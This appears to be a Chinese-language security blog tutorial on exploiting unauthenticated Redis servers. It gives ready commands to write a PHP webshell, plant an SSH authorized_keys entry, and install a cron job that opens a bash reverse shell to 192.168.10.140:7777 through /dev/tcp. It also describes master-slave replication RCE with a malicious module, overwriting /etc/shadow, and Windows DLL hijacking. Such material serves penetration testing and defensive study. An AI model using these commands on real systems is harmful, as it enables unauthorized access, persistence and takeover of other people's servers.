返回
Featured image of post Redis 未授权利用

Redis 未授权利用

go!

Redis未授权利用

Redis常用命令

服务端启动:redis-server xxx.conf

本地连接:redis-cli

远程连接:redis-cli -h host -p port -a password

未授权利用方式

写Webshell

前提条件:

  • 知道Web目录
  • redis运行用户拥有该目录写权限
keys *
set webshell "<?php phpinfo(); ?>" 

config get *
config set dir /var/www/html    # 设置文件写入目录
config set dbfilename 1.php   # 设置写入文件名
save # 保存

注意

redis可以创建文件,但无法创建目录

清理痕迹要删除key,同时还原config里的配置项

写ssh公钥

目标靶机的基本配置

存在root用户或其他用户下.ssh目录(权限700) 和 authorized_keys文件(权限600)

前提条件:

  • 已知目标主机用户
  • 拥有.ssh目录
  • 允许使用基于密钥认证方式登录
// 本机生成公私钥
ssh-keygen -t rsa
// 将本机公钥放入key.txt
(echo -e "\n";cat id_rsa.pub;ehco -e "\n") > key.txt

// 执行redis命令,生成键值对
cat /root/.ssh/key.txt | redis-cli -h ip -x set pub

config set dir /root/.ssh
config set dbfilename authorized_keys
save

// 利用私钥登录
ssh -i id_rsa root@ip

写定时任务反弹shell

前提条件:

  • redis用户拥有计划任务目录写权限
  • 目标开启cron服务
// 攻击机开启监听
nc -nvlp 7777

set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.10.140/7777 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

注意:

ubuntu反弹shell会出现多处错误:

1.提示缺少默认邮件服务器,实际是因为计划任务执行出错,想要通过邮件服务器发送错误信息

2.本质的错误信息为:sh: 1: Syntax error: Bad fd number,查询后发现cron中command的执行环境为/bin/sh,而/bin/sh指向的是dash(它更好,变成默认了),反弹任务中用bash环境去执行,所以产生冲突报错。因此只需要将目标机器的/bin/sh指向bash就可,或者避免在cron文件里去使用bash这个shell,另外去建一个反弹shell的shell脚本文件,然后在任务计划里面去直接调用这个shell脚本文件,再或者写计划任务的反弹shell内容如下*/1 * * * * bash -c "bash -i >& /dev/tcp/x.x.x.x/7777 0>&1"

3.redis写入root文件权限为644,而root文件权限必须为600,否则报不安全错误

3.redis写入文件后会出现乱码,centos主机会忽略乱码执行命令,而ubuntu和debian无法忽视乱码,不可以执行命令,反弹失败()。因此可尝试主从复制写纯净文件达到效果,当然有了可利用的主从就不一定执着于定时任务

主从复制RCE

随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和cron,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。

Redis主从复制

edis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

使用两台虚拟机来模拟主从复制。

在目标机器上设置slave状态

在master上设置键 xxx

在slave上查看键 xxx

Redis模块

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

编译.so模块, 代码: https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.

利用原理

详细原理:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载恶意.so文件,我们就可以执行拓展的新命令了。

复现——主动连接模式

使用脚本模拟一个服务端来作为master(包含fullresync请求)

本次目标靶机为ubuntu,作为slave

直接执行poc脚本如下:

复现——被动连接模式

通过 SSRF 攻击Redis

内网 Redis 未授权访问/已知 Redis 口令, Redis 需要反向连接 redis rogue server

模拟一个服务端master,等待连接

redis未授权进入目标机器,slaveof到该master

master端等到连接后,成功同步恶意payload至slave

成功在目标机器加载模块并执行命令

主从复制写纯净文件

在 linux 下,可以利用 SYNC 主从同步,来直接写入无杂质的文件,脚本及用法如下:

https://github.com/r35tart/RedisWriteFile (借助原本的redis主从复制rce脚本更改)

此脚本是通过 Redis 主从写出无损文件,可用于 Windows 平台下写出无损的 EXE、DLL、 LNK 和 Linux 下的 SO 等二进制文件

也可以用无杂质覆写 Linux 中的 /etc/shadow

简单复现

成功写入纯净文件

Redis在Windows下的利用方式

主要是利用主从写纯净文件:

  1. 系统 DLL 劫持 (目标重启或注销)
  2. 针对特定软件的 DLL 劫持(目标一次点击)
  3. 覆写目标的快捷方式 (目标一次点击)
  4. 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
  5. 覆写 sethc.exe 等文件 (攻击方一次触发)

参考:

http://r3start.net/index.php/2020/05/25/717

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy